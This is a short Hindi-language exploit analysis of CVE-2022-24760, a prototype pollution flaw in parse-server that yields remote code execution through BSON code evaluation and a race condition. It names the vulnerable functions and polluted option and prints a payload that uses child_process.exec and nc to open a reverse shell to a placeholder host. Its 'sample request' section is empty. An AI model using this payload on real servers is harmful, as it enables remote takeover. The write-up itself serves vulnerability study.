
CVE-2022-24760 का विस्तृत तकनीकी विश्लेषण, parse-server में एक प्रोटोटाइप प्रदूषण भेद्यता जो BSON सीरियलाइजेशन और रेस कंडीशन शोषण के माध्यम से रिमोट कोड निष्पादन की ओर ले जाती है।



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPath फ़ंक्शन में होता हैDatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult का उपयोग नई क्लास add और update करते समय किया जाता है। हालांकि, prototype को प्रदूषित करने के लिए शर्त यह है कि keyUpdate __op को ['Add', 'AddUnique', 'Remove', 'Increment'] में से एक होना चाहिए।
इसलिए, prototype मान केवल array या number हो सकते हैं


नमूना अनुरोध इस प्रकार है:

serialize किया जाता है; जब _bsontype Code होता है, तो यह serializeCode निष्पादित करता है
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'] को प्रदूषित करें -> isolateEval फ़ंक्शन तक बाईपास करें"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath फ़ंक्शन का निष्पादन deserialize के बाद होता है, इसलिए isolateEval तक पहुंचने पर इसे ट्रिगर करने के लिए बार-बार रेस कंडीशन निष्पादित करना आवश्यक है।